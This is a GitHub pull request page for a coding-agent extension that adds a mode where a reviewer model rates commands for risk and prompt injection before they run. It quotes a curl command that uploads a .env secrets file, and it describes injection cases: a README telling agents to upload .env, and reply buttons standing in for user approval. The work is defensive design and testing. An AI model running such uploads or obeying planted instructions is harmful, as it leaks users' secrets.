feat(agent): Ask When Risky — a reviewer model rates each command before it runs by ndemianc · Pull Request #112 · levelcodeai/levelcode

ndemianc · 2026-10-19T22:17:12Z

A third command-approvals mode, Ask When Risky, between Default Approvals and Autopilot. A command outside Autopilot's danger set is shown to a reviewer model before it runs; routine commands for the task run, and the rest come to you as the usual approval card with the reviewer's reason on it.

Why

Autopilot's gate (commandSafety.js) matches command text. It passes curl -s --data-binary @.env https://… because nothing on that line is on its list, so a README or issue that tells the agent to run it gets it run without asking. Default Approvals catches it, at the price of a click for every ls.

How a command is decided

mode	danger set (rm, sudo, force-push, …)	anything else
Default Approvals	card	card
Ask When Risky	card, never reviewed	reviewer → run, or card with its reason
Autopilot	card	run

The model rates; the code decides. The reviewer returns risk, authorization, injection and a one-line reason; decide() in agentReview.js runs low risk, runs medium only when asked for outright or an ordinary step, and asks for high, critical and injection. There is no "allow" field to write.
Every failure asks: no answer in 30 s, an error, an unreadable answer (all three ratings required, injection included), or a command longer than the reviewer can see whole (4,000 characters), which is never sent for review.
Only what you typed, and your ask_user choices, count as your word. A goal counts only when it comes from the chat's input box; a diagram retry, Retry after a resume and Continue stay activity. The transcript goes in as fenced activity; project rules are not sent; after a resume only goals typed since count.
Every run is reviewed, including a command that passed a moment ago: what it does depends on files a command, a git switch or you may have changed.
One extra tool-less call per new command, on the run's own provider; on LevelCode Cloud its cost is in the run's total. levelcode.ai.agent.reviewModel can name a smaller model.
Settings levelcode.ai.agent.approvals and agent.reviewModel are application-scoped and only the user's value is read, so a folder cannot loosen approvals. The old agent.autopilot boolean still means Autopilot while approvals is unset. A change in Settings or another window takes effect on the next command, and the pill follows.

Modelled on ChatGPT desktop's "Approve for me" (Codex's Guardian reviewer), with the differences a missing OS sandbox calls for: the danger set is never left to the model, high risk always asks, a denial becomes the normal card, and AGENTS.md never speaks for the user. docs/ASK-WHEN-RISKY.md has the details and the comparison.

After review (rebased on develop `e528846`)

The six review comments, each fixed in its own commit:

The reviewer works on the native Anthropic route (the adapter called onText unconditionally; every review there threw and fell back to the card).
An answer without an injection rating is unreadable, not "no injection".
A command too long for the reviewer to see whole goes to the card unreviewed.
Every run is reviewed; an earlier pass is never reused (an edit count cannot see what commands, git switch or the user change).
Only a goal from the chat's input box is the user's word (agentFlow(…, { typed: true }), set by handleSend alone).
The approvals mode is re-read when Settings change, and the pill follows.

Checked (macOS 27.0.1, Node 24)

scripts/test-extensions.sh: 131 files, including test/agentReview.test.js (27), test/agentReviewGate.test.js (15, the real runAgent → run_command chain in all three modes), test/agentReviewAnthropic.test.js (the real dispatcher and Anthropic adapter, only fetch stood in), and the host halves lifted into sessionExpiredHost / diagramHost. The touched suites pass at every commit.
Sixteen single-defect mutations, one per rule including each review fix: each turned a test red.
scripts/approvals-editor-check.js in the dev build with a stand-in provider: 12/12 after the fixes.
tsc --checkJs on the changed files: no new undefined names.

Not run

A real model as the reviewer. The stand-in answers with fixed ratings, so how well a real model rates routine commands and catches unscripted injections is unmeasured. An eval over recorded transcripts should come before this ships.
The gate on Linux, the browser edition, and LevelCode Cloud's credits frame (stood in).

Open decisions

Default reviewer model (empty = the agent's own, safest for entitlement, most expensive).
The name ("Ask When Risky" vs something else).
A Teams lock on the mode for company plans.
Offering the mode after several manual approvals in a row, as ChatGPT does.

Copilot

🟡 Changes recommended

Unresolved approval-safety defects and provider integration failures prevent reliable command review.

6 open issues

Invalidate approvals after all workspace changes · New
Handle missing Anthropic text callback · New
Reject missing or invalid injection ratings · New
Require approval for truncated command reviews · New
Keep generated agent text out of PERSON goals · New
Reload approval mode when settings change · New

What changed in this PR

Adds Ask When Risky between manual approvals and Autopilot, using a reviewer model to assess agent commands while preserving mandatory danger-set approvals.

Changes:

Adds command review, decision rules, caching, and cost accounting.
Integrates approval settings, menu options, and reviewer explanations.
Adds tests, an editor-check harness, and documentation.

File	Description
extensions/levelcode-ai/test/sessionExpiredHost.test.js	Updates session-resume fixtures.
extensions/levelcode-ai/test/diagramHost.test.js	Updates diagram-host fixtures.
extensions/levelcode-ai/test/agentReviewGate.test.js	Tests approval-mode integration.
extensions/levelcode-ai/test/agentReview.test.js	Tests reviewer policy and failures.
extensions/levelcode-ai/scripts/approvals-editor-check.js	Adds editor integration checks.
extensions/levelcode-ai/providers/index.js	Documents reasoning-effort options.
extensions/levelcode-ai/providers/catalog.js	Sets reviewer reasoning effort.
extensions/levelcode-ai/package.json	Declares approval and reviewer settings.
extensions/levelcode-ai/media/chat.html	Adds mode selection and reviewer explanations.
extensions/levelcode-ai/extension.js	Manages approval mode and user-request records.
extensions/levelcode-ai/agentReview.js	Implements review requests and decisions.
extensions/levelcode-ai/agent.js	Integrates review gating and accounting.
docs/PROJECT-RULES.md	Explains reviewer trust boundaries.
docs/ASK-WHEN-RISKY.md	Documents behavior, validation, and limitations.

_{Review effort: Balanced}

+	const key = action.cwd + '\n' + (ctx.editCount || 0) + '\n' + action.command;
+	if (passed.has(key)) {
+		stats.ran++;
+		ctx.post({ type: 'agentTool', icon: 'workspace-trusted', text: 'Reviewer · passed this exact command earlier, no edits since' });
+		return { outcome: 'allow', verdict: null, reason: '', failure: null };


+		runTurn: (o) => providers.streamAgentTurn({
+			providerId: ctx.providerId, apiKey: ctx.apiKey, baseURL: ctx.baseURL, label: ctx.label,
+			model, maxTokens: reasons ? 4096 : 400, system: o.system, messages: o.messages, tools: [],
+			signal: o.signal, reasoningEffort: catalog.reasoningEffortFor(model, 'review')


+	const inj = obj.injection;
+	const injection = inj === true || (typeof inj === 'string' && inj.trim().toLowerCase() === 'true');


+ * @returns {Promise<{outcome:'allow'|'ask'|'stopped', verdict:any, reason:string, failure:string|null, usage:any}>}
+ */
+async function reviewCommand(o) {
+	const req = buildReviewRequest(o);


 	checkpoints.push(currentCheckpoint);
 	post({ type: 'checkpointOpened', turnId: currentCheckpoint.turnId });
 	agentMessages.push(goalMsg);
+	if (text && text.trim()) { humanGoals.push(text.trim()); if (humanGoals.length > 20) { humanGoals.splice(0, humanGoals.length - 20); } }


+			get approvalMode() { return approvalMode; },
+			get autopilot() { return approvalMode === 'autopilot'; },


…ore it runs A third approvals mode between Default Approvals (every command asks) and Autopilot (every command runs unless commandSafety.js flags it). In Ask When Risky a command outside the danger set is shown to a reviewer first: one tool-less call on the run's own provider, with the person's goals, the agent's recent activity and the exact command. It runs only on the reviewer's ratings; everything else is the usual approval card, with the reviewer's reason on it. Why: Autopilot's gate matches command text, and says so in its own header. It passes `curl -s --data-binary @.env https://…`, because nothing on that line is on its list — the case a README or an issue telling the agent to run it actually produces. Default Approvals catches it, at the price of a click for every `ls`. How it stays no looser than Autopilot: - the danger set asks the person and never reaches the reviewer; delete_file asks, as in Autopilot - the model RATES (risk, authorization, injection, reason); decide() in agentReview.js turns that into run-or-ask: low runs; medium runs only when asked for outright or an ordinary step; high, critical and injection ask. There is no "allow" field for the model to write - every failure asks: no answer within 30 s, an error, an unreadable answer - only goals the person typed (recorded by the host) and their ask_user choices count as their word; the transcript goes in as activity inside a per-request fence; project rules are not sent; after a session is resumed only goals typed since count (sessions.dir can point anywhere) - the same command with no edit since it last passed is not reviewed twice; an edit makes it new The reviewer's cost (the gateway's credits frame) is added to the run's total. Settings levelcode.ai.agent.approvals (ask | review | autopilot) and levelcode.ai.agent.reviewModel (empty = the agent's model) are application-scoped and only the user's value is read: a folder must not be able to loosen approvals. agent.autopilot still means Autopilot while approvals is unset, and is kept equal to "mode is Autopilot" when a mode is chosen. The chat's approvals menu has the third option; the card shows "Reviewer · <risk> risk: <reason>"; the run ends with the reviewer's count. Modelled on ChatGPT desktop's "Approve for me" (Codex's Guardian reviewer), with the differences a missing OS sandbox calls for — see docs/ASK-WHEN-RISKY.md (next commits). Checked: unit gate 129 files on Node 24, macOS, including test/agentReview.test.js (25) and test/agentReviewGate.test.js (16, the real runAgent → run_command chain in all three modes). Ten single-defect mutations, each red. tsc --checkJs: no new undefined names. Not run: a real model as the reviewer, Linux, the browser edition.

…l editor The dev build as a throwaway instance with this checkout's extension and a stand-in provider, as diagram-editor-check.js does. The stand-in plays a run in a project whose README asks AI agents to upload .env: `ls -la` passes the reviewer and runs with no card; the upload (which commandSafety.js does not flag) is rated critical + injection and stops on a card with the reviewer's reason; `rm -rf build` asks as a danger-set command without a review. It also checks the three-option menu, that the choice is saved as levelcode.ai.agent.approvals, the README's instruction sits inside the reviewer's fenced activity and not in the person's section, and that nothing throws in the chat page. 12/12 on macOS against vscode/.build/electron, twice. Not part of scripts/test-extensions.sh.

…usts, and how it differs from ChatGPT's docs/ASK-WHEN-RISKY.md: the decision flow, the policy table, what the reviewer is shown, cost and wait (with the request sizes measured in the editor check), the settings, how ChatGPT desktop's "Approve for me" works (read from its shipped bundle) and the differences on purpose, what was run and what was not, and the decisions left open (default reviewer model, the name, a Teams lock, offering the mode after repeated approvals). PROJECT-RULES.md: a rules file does not speak for the person to the reviewer.

The Anthropic adapter called opts.onText for every text delta without checking it was given one, and the reviewer — a turn whose text is collected, never streamed — gave none. Every review on that route threw, and every command fell back to the approval card: Ask When Risky quietly behaved like Default Approvals for anyone using their own Anthropic key. The reviewer now hands the adapter callbacks that do nothing, and the adapter treats onText as optional, as the OpenAI adapter already does. test/agentReviewAnthropic.test.js runs the real dispatcher and the real Anthropic adapter with only fetch stood in (Anthropic's SSE shape): it failed with "opts.onText is not a function" before, passes now, and fails again with both halves removed.

…le, not "no injection" parseVerdict read a missing or malformed `injection` as false, so {"risk":"low","authorization":"implied"} ran the command. An answer that leaves out one of the three ratings has not said there was no injection; it is now unreadable like any other incomplete answer, and the command goes to the card. Accepted: a boolean, or the strings true/false in any case.

… reviewed buildReviewRequest cut a command over 4,000 characters in the middle, while run_command ran the full line. The cut is where something could hide (an .env upload inside a long compound command), and a "low risk" for the part the reviewer saw would have run all of it. Such a command now goes straight to the approval card, with no model call, and the card says why.

…ever reused The reviewer's pass was reused for the same command line in the same folder while the agent's edit count had not moved. That count sees only the agent's file tools: `sh check.sh`, then `git switch other-branch`, then `sh check.sh` reused the first pass although check.sh may have changed — as it may through any command, or through the person's own terminal. Nothing cheap can establish that the workspace is unchanged, so the reuse is gone: each run is one review. The design note says so and what it costs.

agentFlow recorded every goal it was handed as the person's, but not every caller passes typed text: a diagram retry sends a request built from the model's spec and the repair report, and Retry after a resume re-runs lastAgentGoal read back from the session file — the very text resumeSession keeps out of the person's words. Both landed in the reviewer's PERSON section. agentFlow now takes { typed }, which only handleSend sets (the chat's send message, from the input box); the goal is recorded only then. A typed goal that Retry repeats is already recorded; Continue's fixed instruction and a diagram retry stay activity. Run, not regexed, where a harness lifts the call site (handleSend in sessionExpiredHost, retryDiagram in diagramHost); the response bar's Retry/Continue lines are pinned from source, with exactly one caller allowed to say typed: true.

…dow takes effect at once The mode was read only when the chat webview said ready, and when the chat's own menu changed it. Switching from Autopilot to Default Approvals in Settings, or in another window, left this window's next commands on Autopilot until the chat was reloaded — the pill said one thing, the gate did another. onConfigChanged now re-reads levelcode.ai.agent.approvals (and the older agent.autopilot) when either changes, and posts the effective mode to the pill. The chat menu's own change comes back through the same path. Tested on the real onConfigChanged, lifted into sessionExpiredHost: Settings → Autopilot, back to Default Approvals, the old boolean alone, and an unrelated change.

rememberTypedGoal holds the rule agentFlow applies (record only a goal marked typed; trimmed; newest 20), so sessionExpiredHost lifts and runs it; agentFlow passing its flag through is pinned from source.

…tings, every run reviewed, typed goals only The design note now says what the review fixes changed: a command over the reviewer's budget goes to the card unreviewed; an answer without an injection rating is unreadable; a pass is never reused; only a goal from the chat's input box is the person's word; a Settings change takes effect at once. What was run is re-counted on develop e528846.

Copilot

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

An organization owner can choose the repository organization as the billing source for reviews requested by members with a paid Copilot license. Learn about Copilot code review billing.

agent.js: ask_user's answers now feed both the reviewer (ctx.userAnswers, #112) and what remember may quote (ctx.heardThisRun); both kept. package.json: the new levelcode.ai.sessions.memory.notes is application-scoped, like every other levelcode-ai setting since #113 (test/settingsScope.test.js failed on the merge without it: a folder's .vscode/settings.json could have switched remembering on or off).

…uote agentFlow handed every goal to the agent as goalText, the words `remember` and `forget` may quote as the person's. Not every goal is typed: retryDiagram builds one from the model's own diagram title and validation messages, and Continue and a resumed goal are not typed now. After a click on Retry, the model could quote its own generated text and have a note credited to the person. goalText is now typedGoalText(text, opts): the goal when opts.typed (handleSend), else ''. This is the rule develop already applies to the Ask When Risky reviewer (rememberTypedGoal, #112). Tests: the helper on its own, a guard that agentFlow passes it, and the real agent run with a Retry prompt, where nothing of it reaches the person's words.

Conflicts, each keeping both sides: - agent.js, the end of a run: Ask When Risky's reviewer cost and summary row (#112) and this branch's plan completion and returned "Send now" messages; one agent.done log line with both sets of fields. - extension.js, resumeSession and New Chat: this branch's plan/steer reset and the reset of the person's recorded words (#112/#114), each in both places. - media/chat.html, the message switch: develop's `approvals` message (#112 replaced the two-option `autopilot` one, whose handler no longer exists) and this branch's agentStart/agentStatus, which keep the task list and drop the old plan bar. - test/sessionExpiredHost.test.js, the harness declarations: both sets (agentMode from env, the approvals mode and recorded words; this branch's agentPlan and steerInbox). Checked on the merged tree (macOS, Node 24): scripts/test-extensions.sh 136 files; tsc --checkJs on extension.js and agent.js, no new undefined names; in the dev build plan-progress-editor-check 17/17, approvals-editor-check 12/12, memory-editor-check 11/11 on one of four runs — its "History lists the session after New Session" step is flaky on develop too (1 of 2 there).

A reply in the next-step box shows a 1-3 word label; what a click sends is the reply's message, up to 300 characters the agent wrote (visible only as a tooltip). It went through the chat's normal send, so the host recorded it as typed — and since #112 and #114 that is the person's word: the Ask When Risky reviewer counts it as authorization, and remember may quote it. A README that steers the agent into a "Yes" button whose message says more could have turned one click into an explicit go-ahead. The page now sends a click as a reply ({ type: 'send', reply: true }), and keeps that mark through the queue (drained at the end of a run, or sent with Send now while idle). handleSend passes typed: false for it, so the reply reaches the agent as before but is not the person's word. A reply the person edits in the message box, or that is handed back to it, is sent as their own typing. Tested: the page's queue functions lifted from chat.html (sent at once, queued while busy, drained, Send now when idle — the mark survives each, and a typed message carries none); handleSend lifted into sessionExpiredHost (a reply reaches agentFlow with typed: false, a typed message with true); the button's click and the send message are pinned from source.

ndemianc mentioned this pull request Oct 19, 2026

fix(agent): a folder's settings no longer change what the desktop agent may do #113

Merged

ndemianc marked this pull request as ready for review October 19, 2026 22:40

Copilot AI balanced review requested due to automatic review settings October 19, 2026 22:40

Copilot started reviewing on behalf of ndemianc October 19, 2026 22:41

View session

Copilot AI reviewed Oct 19, 2026

View reviewed changes

ndemianc added 11 commits October 19, 2026 19:30

test(agent): the typed-goal rule runs in a test, not only as a regex

46a790b

rememberTypedGoal holds the rule agentFlow applies (record only a goal marked typed; trimmed; newest 20), so sessionExpiredHost lifts and runs it; agentFlow passing its flag through is pinned from source.

ndemianc force-pushed the feat/agent-review-mode branch from f377a12 to 8d4ebb4 Compare October 19, 2026 23:42

ndemianc mentioned this pull request Oct 20, 2026

feat(agent): a task list, a hand-back box, and Enter that queues — plan and progress like Claude desktop #115

Merged

ndemianc requested a balanced review from Copilot October 20, 2026 00:12

Copilot AI reviewed Oct 20, 2026

ndemianc merged commit b01537c into develop Oct 20, 2026
2 checks passed

ndemianc deleted the feat/agent-review-mode branch October 20, 2026 00:14

ndemianc mentioned this pull request Oct 20, 2026

feat(memory): memory from you — remember/forget credited to the words you typed — and Search Sessions #114

Merged

ndemianc mentioned this pull request Oct 20, 2026

Release v1.4.1: the notes #118

Merged

Navigation Menu

Repository navigation

feat(agent): Ask When Risky — a reviewer model rates each command before it runs - #112

feat(agent): Ask When Risky — a reviewer model rates each command before it runs#112
ndemianc merged 11 commits into
developfrom
feat/agent-review-mode

ndemianc commented Oct 19, 2026 •

edited

Loading

Uh oh!

Copilot AI left a comment

Uh oh!

Copilot AI left a comment

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

		const inj = obj.injection;
		const injection = inj === true \|\| (typeof inj === 'string' && inj.trim().toLowerCase() === 'true');

		get approvalMode() { return approvalMode; },
		get autopilot() { return approvalMode === 'autopilot'; },

Conversation

ndemianc commented Oct 19, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Why

How a command is decided

After review (rebased on develop e528846)

Checked (macOS 27.0.1, Node 24)

Not run

Open decisions

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

🟡 Changes recommended

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

ndemianc commented Oct 19, 2026 •

edited

Loading

After review (rebased on develop `e528846`)